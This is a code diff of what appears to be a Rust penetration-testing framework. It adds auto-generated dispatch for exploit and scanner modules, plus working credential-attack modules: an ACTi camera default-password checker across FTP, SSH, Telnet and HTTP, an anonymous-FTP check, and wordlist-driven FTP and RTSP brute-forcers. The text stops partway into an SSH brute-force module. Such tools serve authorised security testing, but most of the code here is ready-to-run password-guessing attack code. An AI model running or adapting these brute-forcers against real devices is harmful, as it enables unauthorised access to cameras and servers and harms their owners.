if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
+3 -9
View File
@@ -1,13 +1,7 @@
use anyhow::Result;
use crate::modules::exploits;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_exploit" => {
exploits::sample_exploit::run(target).await?;
},
// Add more exploit modules here ...
_ => eprintln!("Exploit module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+81
View File
@@ -0,0 +1,81 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
+77 -23
View File
@@ -1,51 +1,105 @@
// src/commands/mod.rs
pub mod exploit;
pub mod scanner;
pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
/// Handle CLI arguments like:
/// --command scanner --module scanners/port_scanner --target 192.168.1.1
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
exploit::run_exploit(&module, &target).await?;
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
scanner::run_scan(&module, &target).await?;
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
creds::run_cred_check(&module, &target).await?;
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
}
Ok(())
}
// Called from the interactive shell
/// Handle `run` in the interactive shell after `use <module>`
/// Supports both full paths like "scanners/port_scanner" and short names like "port_scanner"
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
if module_path.starts_with("exploits/") {
let module_name = module_path.trim_start_matches("exploits/").to_string();
exploit::run_exploit(&module_name, target).await?;
} else if module_path.starts_with("scanners/") {
let module_name = module_path.trim_start_matches("scanners/").to_string();
scanner::run_scan(&module_name, target).await?;
} else if module_path.starts_with("creds/") {
let module_name = module_path.trim_start_matches("creds/").to_string();
creds::run_cred_check(&module_name, target).await?;
let available = discover_modules();
// Exact match (e.g. "scanners/port_scanner")
let full_match = available.iter().find(|m| m == &module_path);
// Short match (e.g. "port_scanner" from "scanners/port_scanner")
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
});
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("Unknown module path '{}'", module_path);
eprintln!("Unknown module '{}'. Available modules:", module_path);
for module in available {
println!(" {}", module);
}
return Ok(());
};
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, target).await?,
"scanners" => scanner::run_scan(module_name, target).await?,
"creds" => creds::run_cred_check(module_name, target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
Ok(())
}
/// Walks src/modules/{exploits,scanners,creds} recursively and returns all `.rs` modules (excluding mod.rs)
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in categories {
let base_path = format!("src/modules/{}", category);
let walker = WalkDir::new(&base_path).max_depth(6);
for entry in walker.into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
if path.is_file()
&& path.extension().map_or(false, |e| e == "rs")
&& path.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(relative) = path.strip_prefix("src/modules") {
let module_path = relative
.with_extension("") // remove .rs
.to_string_lossy()
.replace("\\", "/"); // Windows compatibility
modules.push(module_path);
}
}
}
}
modules
}
+3 -9
View File
@@ -1,13 +1,7 @@
use anyhow::Result;
use crate::modules::scanners;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_scanner" => {
scanners::sample_scanner::run(target).await?;
},
// Add more scanner modules here ...
_ => eprintln!("Scanner module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+81
View File
@@ -0,0 +1,81 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
@@ -0,0 +1,203 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
#[allow(dead_code)]
/// Supported Acti services
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking in our run function)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Telnet check (blocking, so we use spawn_blocking in our run function)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
}
if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
let res = client
.post(&url)
.form(&data)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
// Start all checks in parallel
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
// run blocking ssh check in separate thread
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
// run blocking telnet check in separate thread
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Evaluate results
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod acti_camera_default;
+1
View File
@@ -0,0 +1 @@
pub mod acti;
@@ -0,0 +1,64 @@
use anyhow::{Context, Result};
use std::net::TcpStream;
use std::io::{BufRead, BufReader, Write};
use std::time::Duration;
/// Checks if anonymous FTP login is allowed on a target.
///
/// Example usage from shell:
/// ```
/// rsf> use creds/ftp_anonymous
/// rsf> set target 192.168.1.1
/// rsf> run
/// ```
pub async fn run(target: &str) -> Result<()> {
let port = 21;
let address = format!("{}:{}", target, port);
println!("[*] Connecting to FTP service on {}...", address);
// Connect with a short timeout
let stream = TcpStream::connect_timeout(
&address.parse().context("Invalid address")?,
Duration::from_secs(5),
)
.context("Connection failed")?;
// Clone reader/writer
let mut reader = BufReader::new(stream.try_clone()?);
let mut writer = stream;
// Read initial banner
let mut banner = String::new();
reader.read_line(&mut banner)?;
print!("[<] {}", banner);
// Send USER anonymous
writer.write_all(b"USER anonymous\r\n")?;
writer.flush()?;
let mut response = String::new();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if !response.starts_with("3") && !response.contains("password") {
println!("[-] Server does not accept 'anonymous' user.");
return Ok(());
}
// Send PASS anything (or empty)
writer.write_all(b"PASS anonymous\r\n")?;
writer.flush()?;
response.clear();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if response.starts_with("2") {
println!("[+] Anonymous login successful!");
} else {
println!("[-] Anonymous login failed.");
}
Ok(())
}
+235
View File
@@ -0,0 +1,235 @@
use anyhow::{anyhow, Result};
use async_ftp::FtpStream;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let _pass_len = pass_lines.len();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
// Pair same line index if available
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
match FtpStream::connect(addr).await {
Ok(mut stream) => match stream.login(user, pass).await {
Ok(_) => {
let _ = stream.quit().await;
Ok(true)
}
Err(e) => {
if e.to_string().contains("530") {
Ok(false)
} else {
Err(anyhow!("FTP error: {}", e))
}
}
},
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+7
View File
@@ -0,0 +1,7 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
@@ -0,0 +1,371 @@
use anyhow::{anyhow, Result};
use base64::Engine as _;
use base64::engine::general_purpose::STANDARD as Base64;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::Mutex,
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
//------------------------------
// 1) Basic Brute Force Settings
//------------------------------
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
//------------------------------
// 2) Advanced Features
//------------------------------
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
// By default, we'll demonstrate a DESCRIBE method.
// You could prompt for multiple commands, but here's one for simplicity.
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
// Prompt for custom headers file
let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
if headers_file {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
//------------------------------
// 3) Brute Force RTSP Paths
//------------------------------
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
// If not brute forcing paths, we just do an empty vector or single slash
vec!["".to_string()] // We'll interpret "" as no path specified
};
//------------------------------
// 4) Begin Brute Force
//------------------------------
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
// Load user list
let users = load_lines(&usernames_file)?;
// Load password list
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
// For each password
for pass in pass_lines {
// If we've already found valid creds and we're stopping on success, break early
if *stop.lock().await {
break;
}
// If combo_mode is true, each password tries all users.
// Otherwise, line up each user with the “idx” (like a parallel dictionary).
let userlist = if combo_mode {
users.clone()
} else {
// Use user at "idx % users.len()" if were not in combo_mode
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
// We batch tasks up to "concurrency"
let mut handles = vec![];
// For each username
for user in userlist {
// For each path
for path in &paths {
if *stop.lock().await {
break;
}
// Clone references for the task
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
// The advanced method & headers
let command = advanced_command.clone();
let headers = advanced_headers.clone();
let handle = tokio::spawn(async move {
// Check again if we've been signaled to stop
if *stop.lock().await {
return;
}
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
Ok(true) => {
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]",
addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
}
Err(e) => {
log(verbose, &format!("[!] {} -> error: {}", addr, e));
}
}
// A short delay between attempts
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
// If we reach concurrency, wait for them to finish before scheduling more
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
}
// Wait for any leftover tasks in the batch
for h in handles {
let _ = h.await;
}
idx += 1;
}
//------------------------------
// 5) Show Results / Save
//------------------------------
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Attempt to authenticate via RTSP (with optional advanced method + headers).
/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we cant connect/parse response.
async fn try_rtsp_login(
addr: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
// Parse the address to confirm it's valid
let socket_addr: SocketAddr = addr.parse()
.map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
// Open TCP connection to camera
let mut stream = TcpStream::connect(socket_addr)
.await
.map_err(|e| anyhow!("Connection error: {}", e))?;
// If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
// Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
let rtsp_method = method.unwrap_or("OPTIONS");
// Build path portion (some cameras expect the path in the request line).
// If path is empty, we skip it. Or default to / if you want.
let path_str = if path.is_empty() {
"" // or "/"
} else {
path
};
// Build Basic Auth
let credentials = Base64.encode(format!("{}:{}", user, pass));
// Build the RTSP request line
let mut request = format!(
"{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
addr = addr,
path = path_str.trim_start_matches('/'), // avoid double slash
auth = credentials,
);
// Append extra headers if advanced mode is on
for header in extra_headers {
// We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
// End with a blank line
request.push_str("\r\n");
// Send request
stream.write_all(request.as_bytes()).await?;
// Read response
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("Server closed connection unexpectedly."));
}
let response = String::from_utf8_lossy(&buffer[..n]);
// Very naive checks
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("Unexpected RTSP response:\n{}", response))
}
}
/// Prompts the user for a required field (no default allowed).
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
/// Prompts the user for a value with a default fallback.
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
/// Prompts the user for a yes/no question, with a default answer.
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
/// Loads a file, returning non-empty lines in a Vec.
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
/// Prints log messages only in verbose mode.
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
/// Returns a PathBuf in the current directory for the given filename.
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+240
View File
@@ -0,0 +1,240 @@
use anyhow::{anyhow, Result};
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
task::spawn_blocking,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
